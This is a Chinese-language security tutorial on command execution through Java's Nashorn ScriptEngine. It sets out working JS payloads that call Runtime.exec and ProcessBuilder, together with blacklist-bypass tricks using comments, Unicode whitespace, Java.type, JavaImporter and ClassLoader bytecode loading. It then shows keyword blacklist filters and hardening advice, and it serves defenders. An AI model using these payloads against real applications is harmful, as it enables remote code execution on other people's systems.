java中js命令执行的攻与防
字数 873 2025-08-09 17:09:29

Java中JS命令执行的攻与防

1. 漏洞背景

在Java应用中,通过javax.script.ScriptEngine执行JavaScript代码时,由于Nashorn引擎的特性,可能导致Java代码执行漏洞。攻击者可以利用这一特性执行系统命令,造成严重安全风险。

2. 漏洞原理

2.1 基本执行机制

Java通过ScriptEngine执行JS代码的基本方式:

ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval("JS代码");

2.2 漏洞触发点

Nashorn引擎允许在JS中直接调用Java类和方法:

var x = java.lang.Runtime.getRuntime().exec("calc");

3. 攻击方式演进

3.1 初始攻击

var a = mainOutput(); 
function mainOutput() { 
  var x=java.lang.Runtime.getRuntime().exec("calc");
};

3.2 绕过黑名单的方法

  1. 使用注释绕过
var x=java.lang./****/Runtime.getRuntime().exec("calc");
  1. 使用空格绕过
var x=java.lang.   Runtime.getRuntime().exec("calc");
  1. 使用ProcessBuilder
var x=new java.lang.ProcessBuilder; 
x.command("calc"); 
x.start();
  1. 使用字符串拼接
var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')();  
x.command("calc"); 
x.start();
  1. 嵌套eval绕过
new javax.script.ScriptEngineManager()
  .getEngineByName("js")
  .eval("var x=java.lang."+"Runtime.getRuntime().exec(\"calc\");");

3.3 高级绕过技术

  1. 使用Java.type()
var JavaTest= Java.type("java.lang"+"Runtime"); 
var b =JavaTest.getRuntime(); 
b.exec("calc");
  1. 使用Rhino兼容功能
load("nashorn:mozilla_compat.js"); 
importPackage(java.lang); 
var x=Runtime.getRuntime(); 
x.exec("calc");
  1. 使用JavaImporter
var importer =JavaImporter(java.lang); 
with(importer){ 
  var x=Runtime.getRuntime().exec("calc");
}
  1. 通过ClassLoader加载恶意类
var clazz = java.security.SecureClassLoader.class;
var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);
method.setAccessible(true);
var classBytes = '恶意类字节码';
var bytes = java.util.Base64.getDecoder().decode(classBytes);
var constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);
clz.newInstance();
  1. 使用Unicode和特殊空白符
var x=java.\u2029lang.Runtime.getRuntime().exec("calc");
  1. 利用注释解析差异
var x=java.lang.//
Runtime.getRuntime().exec("calc");

4. 防御方案演进

4.1 初始黑名单

private static final Set<String> blacklist = Sets.newHashSet(
    "java.io.File", "java.lang.Runtime", "java.lang.System", 
    "java.lang.Class", "java.lang.ClassLoader", "eval", "new function"
);

4.2 增强防御措施

  1. 去除注释
String removeComment = StringUtils.replacePattern(code, 
    "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", " ");
  1. 处理空白符
String removeWhitespace = StringUtils.replacePattern(removeComment, "\\s+", "");
String oneWhiteSpace = StringUtils.replacePattern(removeComment, "\\s+", " ");
  1. 扩展黑名单
private static final Set<String> blacklist = Sets.newHashSet(
    // Java危险类
    "java.io.File", "java.lang.Runtime", "java.lang.ProcessBuilder",
    // 反射关键字
    "invoke", "newinstance",
    // JS危险方法
    "eval", "new function",
    // 引擎特性
    "Java.type", "importPackage", "importClass", "JavaImporter"
);

4.3 最终防御方案

public static void checkInsecureKeyword(String code) throws Exception {
    // 去除注释(包括换行符)
    String removeComment = StringUtils.replacePattern(code, 
        "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*[\n\r\u2029\u2028])", " ");
    
    // 去除特殊空白符
    removeComment = StringUtils.replacePattern(removeComment,
        "[\u2028\u2029\u00a0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\ufeff]", "");
    
    // 去除所有空白
    String removeWhitespace = StringUtils.replacePattern(removeComment, "\\s+", "");
    
    // 多个空白替换为一个
    String oneWhiteSpace = StringUtils.replacePattern(removeComment, "\\s+", " ");
    
    // 检查黑名单
    Set<String> insecure = blacklist.stream()
        .filter(s -> StringUtils.containsIgnoreCase(removeWhitespace, s) ||
                    StringUtils.containsIgnoreCase(oneWhiteSpace, s))
        .collect(Collectors.toSet());

    if (!CollectionUtils.isEmpty(insecure)) {
        throw new Exception("存在安全问题");
    } else {
        ScriptEngineManager manager = new ScriptEngineManager(null);
        ScriptEngine engine = manager.getEngineByName("js");
        engine.eval(code);
    }
}

5. 最佳实践建议

  1. 优先使用白名单:黑名单总是存在被绕过的风险,应尽可能使用白名单机制

  2. 考虑沙箱方案

    • 使用Java安全管理器(SecurityManager)
    • 实现自定义的JS沙箱环境
  3. 彻底解决方案

    • 升级到JDK15+(移除了Nashorn引擎)
    • 使用更安全的JS引擎如GraalVM JavaScript
  4. 输入验证

    • 严格验证所有用户输入的JS代码
    • 限制JS代码的功能范围
  5. 日志监控

    • 记录所有JS代码执行请求
    • 设置异常行为告警机制

6. 总结

Java中通过ScriptEngine执行JS代码存在严重的安全风险,攻击者可以通过多种方式绕过简单的黑名单防御。有效的防御需要结合多种技术手段,包括严格的输入过滤、黑名单/白名单机制、特殊字符处理等。最安全的做法是避免在Java应用中直接执行用户提供的JS代码,或使用专门的沙箱环境来隔离潜在的危险操作。

Java中JS命令执行的攻与防 1. 漏洞背景 在Java应用中,通过 javax.script.ScriptEngine 执行JavaScript代码时,由于Nashorn引擎的特性,可能导致Java代码执行漏洞。攻击者可以利用这一特性执行系统命令,造成严重安全风险。 2. 漏洞原理 2.1 基本执行机制 Java通过ScriptEngine执行JS代码的基本方式: 2.2 漏洞触发点 Nashorn引擎允许在JS中直接调用Java类和方法: 3. 攻击方式演进 3.1 初始攻击 3.2 绕过黑名单的方法 使用注释绕过 : 使用空格绕过 : 使用ProcessBuilder : 使用字符串拼接 : 嵌套eval绕过 : 3.3 高级绕过技术 使用Java.type() : 使用Rhino兼容功能 : 使用JavaImporter : 通过ClassLoader加载恶意类 : 使用Unicode和特殊空白符 : 利用注释解析差异 : 4. 防御方案演进 4.1 初始黑名单 4.2 增强防御措施 去除注释 : 处理空白符 : 扩展黑名单 : 4.3 最终防御方案 5. 最佳实践建议 优先使用白名单 :黑名单总是存在被绕过的风险,应尽可能使用白名单机制 考虑沙箱方案 : 使用Java安全管理器(SecurityManager) 实现自定义的JS沙箱环境 彻底解决方案 : 升级到JDK15+(移除了Nashorn引擎) 使用更安全的JS引擎如GraalVM JavaScript 输入验证 : 严格验证所有用户输入的JS代码 限制JS代码的功能范围 日志监控 : 记录所有JS代码执行请求 设置异常行为告警机制 6. 总结 Java中通过ScriptEngine执行JS代码存在严重的安全风险,攻击者可以通过多种方式绕过简单的黑名单防御。有效的防御需要结合多种技术手段,包括严格的输入过滤、黑名单/白名单机制、特殊字符处理等。最安全的做法是避免在Java应用中直接执行用户提供的JS代码,或使用专门的沙箱环境来隔离潜在的危险操作。